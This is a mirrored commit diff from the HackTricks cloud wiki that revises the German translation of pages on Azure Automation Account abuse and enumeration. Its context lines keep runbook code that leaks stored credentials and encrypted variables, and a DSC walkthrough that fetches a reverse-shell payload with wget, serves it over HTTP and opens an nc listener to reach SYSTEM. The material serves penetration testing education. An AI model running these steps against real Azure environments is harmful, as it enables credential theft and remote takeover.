mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-06 04:41:21 -08:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
@@ -10,18 +10,18 @@ Für weitere Informationen siehe:
|
||||
../az-services/az-automation-accounts.md
|
||||
{{#endref}}
|
||||
|
||||
### Hybrid Workers
|
||||
### Hybrid Workers Group
|
||||
|
||||
Denke daran, dass ein Angreifer, wenn er irgendwie ein beliebiges Runbook (beliebigen Code) in einem Hybrid Worker ausführen kann, **zum Standort der VM pivotieren wird**. Dies könnte eine lokale Maschine, ein VPC eines anderen Clouds oder sogar eine Azure-VM sein.
|
||||
Denke daran, dass ein Angreifer, wenn er irgendwie ein beliebiges Runbook (beliebiger Code) in einem Hybrid-Worker ausführen kann, **zum Standort der VM pivotieren wird**. Dies könnte eine lokale Maschine, ein VPC einer anderen Cloud oder sogar eine Azure-VM sein.
|
||||
|
||||
Darüber hinaus, wenn der Hybrid Worker in Azure mit anderen verwalteten Identitäten läuft, wird das Runbook in der Lage sein, auf die **verwaltete Identität des Runbooks und alle verwalteten Identitäten der VM über den Metadatenservice** zuzugreifen.
|
||||
Darüber hinaus, wenn der Hybrid-Worker in Azure mit anderen verwalteten Identitäten läuft, wird das Runbook in der Lage sein, auf die **verwaltete Identität des Runbooks und alle verwalteten Identitäten der VM über den Metadatenservice** zuzugreifen.
|
||||
|
||||
> [!TIP]
|
||||
> Denke daran, dass der **Metadatenservice** eine andere URL hat (**`http://169.254.169.254`**) als der Dienst, von dem das Token der verwalteten Identitäten des Automatisierungskontos abgerufen wird (**`IDENTITY_ENDPOINT`**).
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
|
||||
|
||||
Zusammenfassend ermöglichen diese Berechtigungen das **Erstellen, Ändern und Ausführen von Runbooks** im Automatisierungskonto, die du verwenden könntest, um **Code** im Kontext des Automatisierungskontos auszuführen und Berechtigungen auf die zugewiesenen **verwalteten Identitäten** zu eskalieren sowie **Anmeldeinformationen** und **verschlüsselte Variablen**, die im Automatisierungskonto gespeichert sind, zu leaken.
|
||||
Zusammenfassend ermöglichen diese Berechtigungen, **Runbooks im Automatisierungskonto zu erstellen, zu ändern und auszuführen**, die du verwenden könntest, um **Code** im Kontext des Automatisierungskontos auszuführen und Berechtigungen auf die zugewiesenen **verwalteten Identitäten** zu eskalieren sowie **Anmeldeinformationen** und **verschlüsselte Variablen**, die im Automatisierungskonto gespeichert sind, zu leaken.
|
||||
|
||||
Die Berechtigung **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** ermöglicht es, den Code eines Runbooks im Automatisierungskonto zu ändern mit:
|
||||
```bash
|
||||
@@ -36,16 +36,16 @@ $runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password'
|
||||
```
|
||||
Beachten Sie, wie das vorherige Skript verwendet werden kann, um **den Benutzernamen und das Passwort** einer Anmeldeinformation sowie den Wert einer **verschlüsselten Variablen** zu erhalten, die im Automatisierungskonto gespeichert ist.
|
||||
Beachten Sie, wie das vorherige Skript verwendet werden kann, um **den Benutzernamen und das Passwort** einer Anmeldeinformation sowie den Wert einer **verschlüsselten Variablen** zu leaken, die im Automation Account gespeichert ist.
|
||||
|
||||
Die Berechtigung **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** ermöglicht es dem Benutzer, ein Runbook im Automatisierungskonto zu veröffentlichen, sodass die Änderungen angewendet werden.
|
||||
Die Berechtigung **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** ermöglicht es dem Benutzer, ein Runbook im Automation Account zu veröffentlichen, sodass die Änderungen angewendet werden.
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group <res-group> \
|
||||
--automation-account-name <account-name> \
|
||||
--name <runbook-name>
|
||||
```
|
||||
Die Berechtigung **`Microsoft.Automation/automationAccounts/jobs/write`** erlaubt es dem Benutzer, ein Runbook im Automatisierungskonto auszuführen mit:
|
||||
Die Berechtigung **`Microsoft.Automation/automationAccounts/jobs/write`** ermöglicht es dem Benutzer, ein Runbook im Automatisierungskonto auszuführen mit:
|
||||
```bash
|
||||
az automation runbook start \
|
||||
--automation-account-name <account-name> \
|
||||
@@ -123,7 +123,7 @@ az rest --method PUT \
|
||||
}'
|
||||
```
|
||||
> [!TIP]
|
||||
> Im vorherigen Beispiel wurde die Job-Schedule-ID als **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` als Beispiel** belassen, aber Sie müssen einen beliebigen Wert verwenden, um diese Zuweisung zu erstellen.
|
||||
> Im vorherigen Beispiel wurde die Jobplanungs-ID als **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` als Beispiel** belassen, aber Sie müssen einen beliebigen Wert verwenden, um diese Zuweisung zu erstellen.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/webhooks/write`
|
||||
|
||||
@@ -196,7 +196,7 @@ az automation source-control create \
|
||||
```
|
||||
Dies wird automatisch die Runbooks aus dem Github-Repository in das Automation Account importieren, und mit einigen anderen Berechtigungen, um sie auszuführen, wäre es **möglich, Privilegien zu eskalieren**.
|
||||
|
||||
Außerdem beachten Sie, dass für die Quellkontrolle in Automation Accounts eine verwaltete Identität mit der Rolle **`Contributor`** erforderlich ist, und wenn es sich um eine benutzerverwaltete Identität handelt, muss die Client-ID der MI in der Variablen **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** angegeben werden.
|
||||
Außerdem denken Sie daran, dass für die Quellkontrolle in Automation Accounts eine verwaltete Identität mit der Rolle **`Contributor`** erforderlich ist, und wenn es sich um eine benutzerverwaltete Identität handelt, muss die Client-ID der MI in der Variablen **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** angegeben werden.
|
||||
|
||||
> [!TIP]
|
||||
> Beachten Sie, dass es nicht möglich ist, die Repo-URL einer Quellkontrolle zu ändern, sobald sie erstellt wurde.
|
||||
@@ -228,26 +228,26 @@ Wenn ein Automatisierungskonto eine benutzerdefinierte Laufzeitumgebung verwende
|
||||
- Schritt 1 — Dateien erstellen
|
||||
|
||||
**Benötigte Dateien:** Zwei PowerShell-Skripte sind erforderlich:
|
||||
1. `reverse_shell_config.ps1`: Eine Desired State Configuration (DSC)-Datei, die die Nutzlast abruft und ausführt. Sie ist erhältlich auf [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: Ein Skript, um die Konfiguration auf die VM zu veröffentlichen, verfügbar auf [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
1. `reverse_shell_config.ps1`: Eine Desired State Configuration (DSC)-Datei, die die Nutzlast abruft und ausführt. Sie ist erhältlich bei [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: Ein Skript, um die Konfiguration auf die VM zu veröffentlichen, verfügbar bei [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
|
||||
**Anpassung:** Variablen und Parameter in diesen Dateien müssen an die spezifische Umgebung des Benutzers angepasst werden, einschließlich Ressourcennamen, Dateipfade und Server-/Nutzlast-Identifikatoren.
|
||||
**Anpassung:** Variablen und Parameter in diesen Dateien müssen an die spezifische Umgebung des Benutzers angepasst werden, einschließlich Ressourcennamen, Dateipfaden und Server-/Nutzlast-Identifikatoren.
|
||||
|
||||
- Schritt 2 — Konfigurationsdatei zippen
|
||||
|
||||
Die `reverse_shell_config.ps1` wird in eine `.zip`-Datei komprimiert, um sie für die Übertragung zum Azure Storage Account vorzubereiten.
|
||||
Die `reverse_shell_config.ps1` wird in eine `.zip`-Datei komprimiert, um sie für die Übertragung zum Azure Storage-Konto vorzubereiten.
|
||||
```powershell
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
- Schritt 3 — Speicher-Kontext festlegen & hochladen
|
||||
|
||||
Die gezippte Konfigurationsdatei wird in einen vordefinierten Azure Storage-Container, azure-pentest, mit dem Azure-Befehl Set-AzStorageBlobContent hochgeladen.
|
||||
Die gezippte Konfigurationsdatei wird in einen vordefinierten Azure Storage-Container, azure-pentest, mit dem Set-AzStorageBlobContent-Cmdlet von Azure hochgeladen.
|
||||
```powershell
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
- Schritt 4 — Kali Box vorbereiten
|
||||
|
||||
Der Kali-Server lädt das RevPS.ps1-Payload aus einem GitHub-Repository herunter.
|
||||
Der Kali-Server lädt die RevPS.ps1 Payload aus einem GitHub-Repository herunter.
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
@@ -264,6 +264,6 @@ Ein Python SimpleHTTPServer wird gestartet, um die Payload zu hosten, zusammen m
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
```
|
||||
Die geplante Aufgabe führt die Payload aus und erreicht SYSTEM-Ebene Berechtigungen.
|
||||
Die geplante Aufgabe führt die Nutzlast aus und erreicht SYSTEM-Ebene Berechtigungen.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,24 +4,22 @@
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
Azure Automatisierungskonten sind cloudbasierte Dienste in Microsoft Azure, die helfen, **Aufgaben zu automatisieren** wie Ressourcenmanagement, Konfiguration und Updates in Azure und vor Ort. Sie bieten **Runbooks** (Skripte zur Automatisierung, die ausgeführt werden), **Zeitpläne** und **hybride Arbeitsgruppen**, um Automatisierungs-**Jobs** auszuführen, was Infrastruktur als Code (IaC) und Prozessautomatisierung für verbesserte Effizienz und Konsistenz beim Management von Cloud-Ressourcen ermöglicht.
|
||||
Azure Automatisierungskonten sind cloudbasierte Dienste in Microsoft Azure, die helfen, **Aufgaben zu automatisieren**, wie z.B. Ressourcenmanagement, Konfiguration und Updates in Azure und vor Ort. Sie bieten **Runbooks** (Skripte zur Automatisierung, die ausgeführt werden), **Zeitpläne** und **hybride Arbeitsgruppen**, um Automatisierungs-**Jobs** auszuführen, was Infrastruktur als Code (IaC) und Prozessautomatisierung für verbesserte Effizienz und Konsistenz beim Management von Cloud-Ressourcen ermöglicht.
|
||||
|
||||
### Einstellungen
|
||||
|
||||
- **Anmeldeinformationen**: Das Passwort ist nur innerhalb eines Runbooks im Automatisierungskonto zugänglich, sie werden verwendet, um **Benutzernamen und Passwörter sicher zu speichern**.
|
||||
- **Anmeldeinformationen**: Das Passwort ist nur innerhalb eines Runbooks im Automatisierungskonto zugänglich und wird verwendet, um **Benutzernamen und Passwörter sicher zu speichern**.
|
||||
- **Variablen**: Werden verwendet, um **Konfigurationsdaten** zu speichern, die in Runbooks verwendet werden können. Dies könnte auch sensible Informationen wie API-Schlüssel enthalten. Wenn die Variable **verschlüsselt gespeichert** ist, ist sie nur innerhalb eines Runbooks im Automatisierungskonto verfügbar.
|
||||
- **Zertifikate**: Werden verwendet, um **Zertifikate** zu speichern, die in Runbooks verwendet werden können.
|
||||
- **Verbindungen**: Werden verwendet, um **Verbindungsinformationen** zu externen Diensten zu speichern. Dies könnte **sensible Informationen** enthalten.
|
||||
- **Netzwerkzugriff**: Kann auf **öffentlich** oder **privat** eingestellt werden.
|
||||
|
||||
## Runbooks & Jobs
|
||||
### Runbooks & Jobs
|
||||
|
||||
Ein Runbook in Azure Automation ist ein **Skript, das Aufgaben automatisch** in Ihrer Cloud-Umgebung ausführt. Runbooks können in PowerShell, Python oder grafischen Editoren geschrieben werden. Sie helfen, administrative Aufgaben wie VM-Management, Patchen oder Compliance-Prüfungen zu automatisieren.
|
||||
|
||||
Im **Code**, der sich innerhalb der **Runbooks** befindet, könnten **sensible Informationen** (wie Anmeldeinformationen) enthalten sein.
|
||||
|
||||
Gehe zu `Automatisierungskonten` --> `<Automatisierungskonto auswählen>` --> `Runbooks/Jobs/Hybride Arbeitsgruppen/Watcher-Aufgaben/Anmeldeinformationen/Variablen/Zertifikate/Verbindungen`
|
||||
|
||||
Ein **Job ist eine Instanz der Ausführung eines Runbooks**. Wenn Sie ein Runbook ausführen, wird ein Job erstellt, um diese Ausführung zu verfolgen. Jeder Job umfasst:
|
||||
|
||||
- **Status**: Warteschlange, Ausführung, Abgeschlossen, Fehlgeschlagen, Ausgesetzt.
|
||||
@@ -40,13 +38,13 @@ Es gibt 3 Hauptmethoden, um ein Runbook auszuführen:
|
||||
|
||||
### Quellcodeverwaltung
|
||||
|
||||
Es ermöglicht das Importieren von Runbooks aus **Github, Azure Devops (Git) und Azure Devops (TFVC)**. Es ist möglich, anzugeben, dass die Runbooks des Repos in das Azure Automatisierungskonto veröffentlicht werden sollen, und es ist auch möglich, anzugeben, dass die **Änderungen vom Repo** in das Azure Automatisierungskonto **synchronisiert** werden sollen.
|
||||
Es ermöglicht das Importieren von Runbooks aus **Github, Azure Devops (Git) und Azure Devops (TFVC)**. Es ist möglich anzugeben, dass die Runbooks des Repos in das Azure Automatisierungskonto veröffentlicht werden sollen, und es ist auch möglich anzugeben, die **Änderungen vom Repo** in das Azure Automatisierungskonto zu **synchronisieren**.
|
||||
|
||||
Wenn die Synchronisierung aktiviert ist, wird im **Github-Repository ein Webhook erstellt**, um die Synchronisierung jedes Mal auszulösen, wenn ein Push-Ereignis auftritt. Beispiel einer Webhook-URL: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
|
||||
|
||||
Beachten Sie, dass diese Webhooks **nicht sichtbar sein werden**, wenn Webhooks in den zugehörigen Runbooks zum Github-Repo aufgelistet werden. Beachten Sie auch, dass es **nicht möglich ist, die Repo-URL** einer Quellcodeverwaltung zu ändern, sobald sie erstellt wurde.
|
||||
|
||||
Damit die konfigurierte Quellcodeverwaltung funktioniert, muss das **Azure Automatisierungskonto** eine verwaltete Identität (System oder Benutzer) mit der Rolle **`Contributor`** haben. Darüber hinaus muss zur Zuweisung einer benutzerdefinierten verwalteten Identität zum Automatisierungskonto die Client-ID der Benutzer-MI in der Variablen **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** angegeben werden.
|
||||
Damit die konfigurierte Quellcodeverwaltung funktioniert, muss das **Azure Automatisierungskonto** eine verwaltete Identität (System oder Benutzer) mit der Rolle **`Contributor`** haben. Darüber hinaus ist es erforderlich, die Client-ID der Benutzer-MI in der Variablen **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** anzugeben, um eine benutzerdefinierte verwaltete Identität dem Automatisierungskonto zuzuweisen.
|
||||
|
||||
### Laufzeitumgebungen
|
||||
|
||||
@@ -63,14 +61,14 @@ Es ist jedoch auch möglich, **eigene Umgebungen zu erstellen**, indem eine dies
|
||||
|
||||
### Hybride Arbeitsgruppen
|
||||
|
||||
In Azure Automation ist die Standardausführungsumgebung für Runbooks die **Azure Sandbox**, eine cloudbasierte Plattform, die von Azure verwaltet wird und sich für Aufgaben mit Azure-Ressourcen eignet. Diese Sandbox hat jedoch Einschränkungen, wie eingeschränkten Zugriff auf lokale Ressourcen und Beschränkungen hinsichtlich der Ausführungszeit und Ressourcennutzung. Um diese Einschränkungen zu überwinden, werden hybride Arbeitsgruppen eingesetzt. Eine hybride Arbeitsgruppe besteht aus **einem oder mehreren Hybrid Runbook Workers, die auf Ihren eigenen Maschinen installiert sind**, sei es vor Ort, in anderen Cloud-Umgebungen oder Azure-VMs. Diese Konfiguration ermöglicht es Runbooks, direkt auf diesen Maschinen ausgeführt zu werden, was direkten Zugriff auf lokale Ressourcen, die Möglichkeit, längere und ressourcenintensive Aufgaben auszuführen, und die Flexibilität bietet, mit Umgebungen zu interagieren, die über den unmittelbaren Zugriff von Azure hinausgehen.
|
||||
In Azure Automation ist die Standardausführungsumgebung für Runbooks die **Azure Sandbox**, eine cloudbasierte Plattform, die von Azure verwaltet wird und sich für Aufgaben mit Azure-Ressourcen eignet. Diese Sandbox hat jedoch Einschränkungen, wie z.B. eingeschränkten Zugriff auf lokale Ressourcen und Beschränkungen hinsichtlich der Ausführungszeit und Ressourcennutzung. Um diese Einschränkungen zu überwinden, werden hybride Arbeitsgruppen eingesetzt. Eine hybride Arbeitsgruppe besteht aus **einem oder mehreren Hybrid Runbook Workers, die auf Ihren eigenen Maschinen installiert sind**, sei es vor Ort, in anderen Cloud-Umgebungen oder Azure-VMs. Diese Konfiguration ermöglicht es Runbooks, direkt auf diesen Maschinen ausgeführt zu werden, was direkten Zugriff auf lokale Ressourcen, die Möglichkeit, längere und ressourcenintensive Aufgaben auszuführen, und die Flexibilität bietet, mit Umgebungen außerhalb von Azures unmittelbarem Zugriff zu interagieren.
|
||||
|
||||
Wenn eine hybride Arbeitsgruppe erstellt wird, müssen die **Anmeldeinformationen** angegeben werden, die verwendet werden sollen. Es gibt 2 Optionen:
|
||||
|
||||
- **Standardanmeldeinformationen**: Sie müssen die Anmeldeinformationen nicht angeben, und die Runbooks werden innerhalb der VMs als **System** ausgeführt.
|
||||
- **Spezifische Anmeldeinformationen**: Sie müssen den Namen des Anmeldeinformationsobjekts im Automatisierungskonto angeben, das verwendet wird, um die **Runbooks innerhalb der VMs** auszuführen. Daher könnte es in diesem Fall möglich sein, **gültige Anmeldeinformationen** für die VMs zu **stehlen**.
|
||||
- **Spezifische Anmeldeinformationen**: Sie müssen den Namen des Anmeldeinformationsobjekts im Automatisierungskonto angeben, das zur Ausführung der **Runbooks innerhalb der VMs** verwendet wird. Daher könnte es in diesem Fall möglich sein, **gültige Anmeldeinformationen** für die VMs zu **stehlen**.
|
||||
|
||||
Wenn Sie also wählen können, ein **Runbook** in einem **Windows Hybrid Worker** auszuführen, führen Sie **willkürliche Befehle** auf einer externen Maschine als **System** aus (schöne Pivot-Technik).
|
||||
Wenn Sie also wählen können, ein **Runbook** in einem **Hybrid Worker** auszuführen, führen Sie **willkürliche Befehle** auf einer externen Maschine als **System** aus (schöne Pivot-Technik).
|
||||
|
||||
Darüber hinaus, wenn der hybride Worker in Azure mit anderen verwalteten Identitäten ausgeführt wird, kann das Runbook auf die **verwaltete Identität des Runbooks und alle verwalteten Identitäten der VM vom Metadatenservice** zugreifen.
|
||||
|
||||
@@ -80,7 +78,7 @@ Darüber hinaus, wenn der hybride Worker in Azure mit anderen verwalteten Identi
|
||||
### Statuskonfiguration (SC)
|
||||
|
||||
>[!WARNING]
|
||||
> Wie in [den Dokumenten](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) angegeben, wird die Azure Automation Statuskonfiguration am 30. September 2027 eingestellt und durch [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview) ersetzt.
|
||||
> Wie in [den Dokumenten](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) angegeben, wird Azure Automation Statuskonfiguration am 30. September 2027 eingestellt und durch [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview) ersetzt.
|
||||
|
||||
Automatisierungskonten unterstützen auch **Statuskonfiguration (SC)**, eine Funktion, die hilft, den **Zustand** Ihrer VMs zu **konfigurieren** und **aufrechtzuerhalten**. Es ist möglich, DSC-Konfigurationen für **Windows**- und **Linux**-Maschinen zu **erstellen** und **anzuwenden**.
|
||||
|
||||
@@ -170,7 +168,7 @@ az rest --method GET \
|
||||
|
||||
# Get the source control setting of an automation account (if any)
|
||||
## inside the output it's possible to see if the autoSync is enabled, if the publishRunbook is enabled and the repo URL
|
||||
aaz automation source-control list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
az automation source-control list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get custom runtime environments
|
||||
## Check in defaultPackages for custom ones, by default Python envs won't have anything here and PS1 envs will have "az" and "azure cli"
|
||||
|
||||
Reference in New Issue
Block a user